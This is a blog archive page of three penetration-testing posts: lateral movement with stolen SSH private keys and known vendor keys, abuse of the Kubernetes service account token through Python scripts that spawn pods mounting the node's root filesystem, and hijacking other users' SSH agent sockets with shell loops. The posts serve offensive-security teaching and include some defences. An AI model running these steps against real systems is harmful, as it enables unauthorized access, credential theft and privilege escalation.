Category Archives: Lessons Learned

Leveraging Pillaged SSH keys

Posted on by

TLDR; These days when you run into a production Linux or cloud environments, they use public key authentication. Making lateral movement as easy as leveraging pillaged SSH keys.

Level Settings

SSH (Secure Shell) is the primary means of managing Cloud Instances, Linux, Unix, OSX, Networking Devices, Vendor Devices, and even some embedded devices. It’s also worth noting that Microsoft has received glowing reviews and support for its roll out of SSH into current builds, but it is not enabled by default. Generally speaking SSH uses the servers local user base and corresponding passwords to authenticate remote connections. However, SSH can also be configured to use Public Key authentication.

How SSH Public Key Authentication Works

Since SSH is designed to use a RSA or DSA Public (Encryption) key and Private (Decryption) key combinations to encrypt traffic. A user can add a Public key to their authorized keys file, to allow the use of the corresponding Private key for authentication. This allows the user to attempt to establish a secure connection by sending their username and the fingerprint of the Public key to the SSH Server. If a Public key with the given fingerprint is within the requested users authorized keys file, then the SSH server responds with an encrypted challenge. This challenge is encrypted with the users Public key and can only be decrypted with the corresponding Private key. If the challenge is successfully answered with an encrypted respond using the SSH Servers Public key, the client and server are successfully authenticated.

What is the Inherit Problem

These days when you run into a production Linux or Cloud environment, more than likely SSH services are going to use Public Key authentication. The traditional rapid guessing won’t work if only public key authentication is enabled. If a Public key fingerprint is not submitted, then the SSH server will simply terminate the session. So in order to pivot into a high value environment all that’s needed is to locate and begin leveraging pillaged SSH private keys with the proper usernames to gain further access.

How to Pillage SSH Keys

The good news is Private keys are fairly easy to locate on users workstations and development servers. They almost always reside within the default SSH directories.

  • Linux = /home/<user>/.ssh/
  • OSX = /Users/<user>/.ssh/
  • Windows = C:\Users\<user>\.ssh\

As such they can be seamlessly picked up by an SSH client. It’s also worth digging through the home directories of Admin, Developer, and Operation users for .ppk, .key, rsa_id, dsa_id, .p12, .pem, and .pfx files, as they may be private keys.

Using Publicly Disclosed Keys

The even better news is many of the Major product vendors (F5, Cisco, Barracuda, and VMware to name a few) have been getting outted for distributing systems with static Private keys. This means if an admin doesn’t log in, remove the old keys, and manually regenerate new ones, then a shell can be established using publicly disclosed private keys.

Some good repositories to look for bad keys.

https://github.com/rapid7/ssh-badkeys

https://github.com/BenBE/kompromat

The good news is Metasploit has several modules that will make scanning discovered SSH services fairly easy. So all we need to do is feed it the proper data, run, and watch the shells rain in. Metasploit makes preforming private key authentication easy and seamless. All you need to do is give it a list of services, a username, and a private key. If authentication is successful it will even seamlessly establish a shell session for you.

Leveraging Pillaged SSH Keys

First we need a private key file, either one we’ve located from pillaging or a publicly known bad key. For example the publicly disclosed Vagrant (Vagrant preforms cross platform Virtual Machine management) Private key.

The corresponding Public key looks like the following:

ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEA6NF8iallvQVp22WDkTkyrtvp9eWW6A8YVr+kz4TjGYe7gHzIw+niNltGEFHzD8+v1I2YJ6oXevct1YeS0o9HZyN1Q9qgCgzUFtdOKLv6IedplqoPkcmF0aYet2PkEDo3MlTBckFXPITAMzF8dJSIFo9D8HfdOV0IAdx4O7PtixWKn5y2hMNG0zQPyUecp4pzC6kivAIhyfHilFR61RGL+GPXQ2MWZWFYbAGjyiYJnAmCP3NOTd0jMZEnDkbUvxhMmBYSdETk1rRgm+R4LOzFUGaHqHDLKLX+FIPKcF96hrucXzcWyLbIbEgE98OHlnVYCzRdK8jlqm8tehUc9c9WhQ== vagrant insecure public key

The second thing needed is the username of the user who has the public key in their authorized key file. As stated in the note, this can normally be found in the public key note. In the case of the vagrant key, the username is also widely known to be vagrant.

With a Private key and Username combination, the auxiliary/scanner/ssh/ssh_login_pubkey module can be used to scan for systems that the private key works on. A session will be established when authentication is successful. When a session is established Metasploit will also collect basic system information for you, including hostname, kernel version, and group memberships.

Finding the Username for Pillaged SSH Keys

Public keys listed within a user authorized_keys file can have comments after the actual key data. Most SSH key generates take advantage of this comment field, to add the username and hostname when a key is generated.

It’s also worth noting that most SSH clients keep a known hosts file, for integrity purposes, which can be viewed to see which systems the key was used to access recently.

If you find just a Private key file during pillaging, the public key data can be derived form it in most cases. However the username likely won’t be associated with it. When no username is found, a common username file can be passed alongside the key in Metasploit.

Speeding Scans up with sshscan

The Metasploit SSH modules are not threaded safe and running more than one connection at a time could cause a thread to hang or exhaustion of system resources. SSH generally is not considered thread safe, because responses after the authentication process are not formally structured. However there is a SSH scanner written using the native go SSH client, which works very well. Just take care to ensure the command you run, provides a simple, small, and structured output (like id). https://github.com/CroweCybersecurity/go-sshscan

SSH Defense Strategies

  1. When generating a Public and Private key pair, a passphrase can be provided to protect the keys. When a passphrase is setup, the SSH client must prompt for the passphrase every time the private key is used. Thus if a key with a passphrase is discover by am attacker its normally not usable.
  2. Implementing an enterprise key management solution to ensure all systems have their own private keys. This would simply crush the reuse factor and stop lateral movement.
  3. Configuring the SSH Server to require both the public key and the users password for authentication. This will slow scanners to a crawl, as the password prompt would cause the session to hang, once the key authentication has completed.
  4. Have a single Private key for all hosts that provides access to a lowest privilege user. Once a connection is established legitimate users can switch to their respective user accounts. If a key was discovered during an assessment we would have to dig through all the systems hoping for a major system misconfiguration. Hopefully, a needle in a haystack.
  5. Avoid key management all together, by utilizing Certificate Authority (CA) backed system to automatically generate sign key pairs for authorized users. The biggest tech companies already do this and some have even blogged about it in the past.

Other SSH Blog Posts

Abuse Kubernetes with the AutomountServiceAccountToken

Posted on by

While I was recently practicing to take my Certified Kuberenetes Administrator (CKA) exam, I ran across an interesting default option called automountServiceAccountToken. This option, automatically mounts the service account token, within each container of a given pod. This account token is meant to provide the pod the ability to interact with the Kubernetes API server. This option being enabled by default, creates a great way for attackers with access to a single container, to abuse Kubernetes with the Automount Service Account token.

What is the Service Account Token?

Within Kubernetes, even a pod with only a single container must have a service account within its specifications. This is because the service account dictates permissions and is used to run a pods processes. By default, if a service account isn’t provided during the creation of the pod, then the “default” service account for the pods namespace is added automatically. Without a different service account being automatically created within each namespace and added to each pod spec, there wouldn’t be any real resource/process separation happening between different namespaces.

How does automountServiceAccountToken work?

When a namespace is created within Kubernetes the kube-controller-manager uses the serviceaccount-controller and the token-controller to make sure the service account called “default” exists with a valid API Bearer token. When a pod is created within the new namespace, the admission controller then checks the pod spec for a valid service account and adds the “default” service account if one doesn’t exist. If the “automountServiceAccountToken” option isn’t explicitly set to false within either the pod spec or service account spec, then the admission controller will also add a volume mount for the service account token, to each container within the pod spec. This results in the namespaced secret for the service account token being mounted directly to “/var/run/secrets/kubernetes.io/serviceaccount” within every running container by default.

Why is the AutomountServiceAccountToken bad?

Since the permissions are assigned to a service account and all pod processes are run as the service account, effectively all pods within a given namespace operate at the same level. So when the service account token mount was added to provide better access to the Kubernetes API server, there wasn’t much need to disable it by default. Additionally, some popular tooling have utilized the service account token to communicate with Kubernetes and as such it may be required in order to meet compatibility requirements.

However, this token becomes problematic if an attacker gains access to a container via some other exploit. This is further compounded by the fact that the default service account permissions are effectively read-write within the namespace and global read for most resource types. So with a simple script or even curl commands we can abuse Kubernetes with the automount service account token.

How to Abuse AutomountServiceAccountToken

I could probably write a whole post around the topic of interacting with the Kubernetes API, but lucky almost all major programing languages already have Kubernetes client libraries. In my case, I often write in python and the python client library can handle loading a containers service account token. With that token we can utilize simple function calls like within the following example to create and even delete our own pods.

from kubernetes import client, config
import time

# Load the containers local service account token
config.load_incluster_config()

# get the current namespace from automount for ease of use :)
current_namespace = open("/var/run/secrets/kubernetes.io/serviceaccount/namespace").read()

# Establish the core API object to interact with
v1=client.CoreV1Api()

# create a basic pod manifest
pod_manifest = {
            'apiVersion': 'v1',
            'kind': 'Pod',
            'metadata': {
                'name': 'busybox'
            },
            'spec': {
                'containers': [{
                    'image': 'busybox',
                    'name': 'sleep',
                    "args": [
                        "/bin/sh",
                        "-c", 
                        "while true;do python -c '<Shell code>';sleep 5; done"
                    ]
                }]
            }
        }

print("Listing all pods within the current namespace, before trying to add a pod")
ret = v1.list_namespaced_pod(namespace=current_namespace)
for i in ret.items:
    print("%s  %s  %s" % (i.status.pod_ip, i.metadata.namespace, i.metadata.name))

print("Trying to deploy a new pod with our custom pod manifest")
v1.create_namespaced_pod(namespace=current_namespace, body=pod_manifest)

time.sleep(10)
print("Listing all pods within the current namespace, after trying to add a busybox pod")
ret = v1.list_namespaced_pod(namespace=current_namespace)
for i in ret.items:
    print("%s  %s  %s" % (i.status.pod_ip, i.metadata.namespace, i.metadata.name))

print("Trying to delete the  busybox pod we just created")
v1.delete_namespaced_pod(name="busybox", namespace=current_namespace, body=client.V1DeleteOptions())

time.sleep(10)
ret = v1.list_namespaced_pod(namespace=current_namespace)
for i in ret.items:
    print("%s  %s  %s" % (i.status.pod_ip, i.metadata.namespace, i.metadata.name))

Using service account token to escalate privilege with node root volume

Since by default there are not any pod security polices to restrict the ability to mount a nodes local root filesystem. We can try to leverage the service account token within a compromised container to create a new pod with a volume which mounts the nodes root filesystem with a similar script.

from kubernetes import client, config
import time

config.load_incluster_config()
from kubernetes import client, config
import time

# Load the containers local service account token
config.load_incluster_config()

# get the current namespace from automount for ease of use :)
current_namespace = open("/var/run/secrets/kubernetes.io/serviceaccount/namespace").read()

# Establish the core API object to interact with
v1=client.CoreV1Api()

# create a basic pod manifest
pod_manifest = {
            'apiVersion': 'v1',
            'kind': 'Pod',
            'metadata': {
                'name': 'support'
            },
            'spec': {
                'containers': [{
                    'image': 'busybox',
                    'name': 'sleep',
                    "args": [
                        "/bin/sh",
                        "-c",
                        "while true;do python -c '<Shell code>';sleep 5; done"
                    ],
					'volumeMounts': [{
                        'name': 'host',
                        'mountPath': '/host'
                    }]
                }],
                'volumes': [{
                    'name': 'host',
                    'hostPath': {
                        'path': '/',
                        'type': 'Directory'
                    }
                }]
            }
        }

print("Listing all pods within the current namespace, before trying to add a pod")
ret = v1.list_namespaced_pod(namespace=current_namespace)
for i in ret.items:
    print("%s  %s  %s" % (i.status.pod_ip, i.metadata.namespace, i.metadata.name))

print("Trying to deploy a new pod with our custom comand")
v1.create_namespaced_pod(namespace=current_namespace,body=pod_manifest)

time.sleep(10)
print("Listing all pods within the current namespace, after trying to add a busybox pod")
ret = v1.list_namespaced_pod(namespace=current_namespace)
for i in ret.items:
    print("%s  %s  %s" % (i.status.pod_ip, i.metadata.namespace, i.metadata.name))

You can also use the node selector and label like “kubernetes.io/hostname” to try and get the new pod to spin up on a higher value control plane node.

With access to a pod container with the nodes root filesystem mounted, normal file and credential pillaging can take place. Also easier persistence methods can be used with write access, like adding a crontab or my recent post on leveraging controlled failure of systemd services, to gain a foot hold on the Kubernetes control plane.

How to Fix AutomountServiceAccountToken Issues?

Based on the official issue #57601, opened in late 2017. This issue is unlikely to be addressed until API v2 is available, because it’s currently required for backwards compatibility. That being said, this issue can still be addresses manually by setting “automountServiceAccountToken: false” on the “default” service account for each namespace and/or creating an Initializer to inject a custom service account upon pod creation. The only other option would be to patch a change to the admission controller, but that would risk issues with compatibility and break future upgrades.

Leverage SSH Agents to Move Across the Network

Posted on by

Accessing a production system in a Linux environment these days often requires a lot of ssh tunneling in order to get access to restricted systems. This is because it doesn’t make sense to publicly expose SSH to the internet or even your general-use, internal network. Instead there might be a bastion or jump box with ssh exposed as your initial way into the environment. Once connecting to the bastion host successfully you can then connect to another system within that restricted network or maybe even repeat the process to gain access to even more restricted hosts.

In order to handle authentication across multiple systems users leverage ssh agents. An SSH agent is effectively a helper program which stores unencrypted identity keys and credentials in memory. This allows for the SSH client to access these credentials via a Unix stream stock. The socket makes it so the end user doesn’t have to provide their credentials multiple times. The user can also request the SSH client retains access to the socket, when connecting to another system, by enabling agent-forwarding with the -A flag.

With SSH agent-forwarding enabled, the SSH client essentially creates a linked copy of the stream socket on the remote system. By default the socket is created in the /tmp directory in a folder named ssh-<10 random characters>, with the socket named agent.<agent pid>. The ssh agent folder is only granted privileges to the connecting user account. To see what agents are around on a given machine you can look through the /tmp directory with a command similar to:

ls /tmp -l | egrep 'ssh-.{10}$'

Finding SSH Agents

Since agent sockets are stored in /tmp and the reference to which agent to use is controled entirely by the value in the SSH_AUTH_SOCK environment variable. The root account, superusers, and possibly sudoers can change their environment variable to the socket of another connected user and effectively masquerade as them on the network. In fact you would even have accesses to any of the other keys the user added to the agent. Given you have access to a shared systems root account, you could use commands like the following to impersonate the user and view a list of registered keys.

ls /tmp| egrep 'ssh-.{10}$' # list the agent sockets that may be available
export SSH_AUTH_SOCK=/tmp/'ssh-.{10}$'/agent.<pid> # choose one and set appropriate values as you SSH_AUTH_SOCK environment variable
ssh-add -l # list all credentials available to the agent

The commands could even all be combined into a single loop like the one bellow. However, the ability to query and leverage the credentials is dependent on a stable connection from the target user. Stale agents can hang, because the socket cleanup process doesn’t necessarily happen once a session is closed.

for AGENT in $(ls /tmp| egrep 'ssh-.{10}$'); do export SSH_AUTH_SOCK=/tmp/$AGENT/$(ls /tmp/$AGENT);echo $AGENT $(stat -c '%U' /tmp/$AGENT);timeout 10 ssh-add -l;done;

Note: A lot of common programs like git, rsync, scp, etc also allow you yo leverage SSH agents. So if a given agent doesn’t get you access to another system, also be sure to try and use it to authenticate against common services.

Impersonating users and pivoting

Once you have an agent you want to leverage, just set it as the SSH_AUTH_SOCK environment variable. Then use it to try and log into other systems or services as the targeted user. Its also worth mentioning that you also be able to leverage the ssh agent and port forwarding to gain access to otherwise restricted system. I’ve created a somewhat related post about leveraging port forwarding in a previous post.

Always run commands like w or who to see where the user is connecting from. Then use that IP address to try and connect back to the users origin system. Most of the time, the users public key is added to their own systems authorized_keys file for ease of access.

This issue is most often seen in development environments, where users traditionally have elevated system access. These systems are also not as well defended or updated as often as production systems. That coupled with the fact that most of the time users don’t maintain account separation between development and production environments, makes it prime to leverage ssh agents.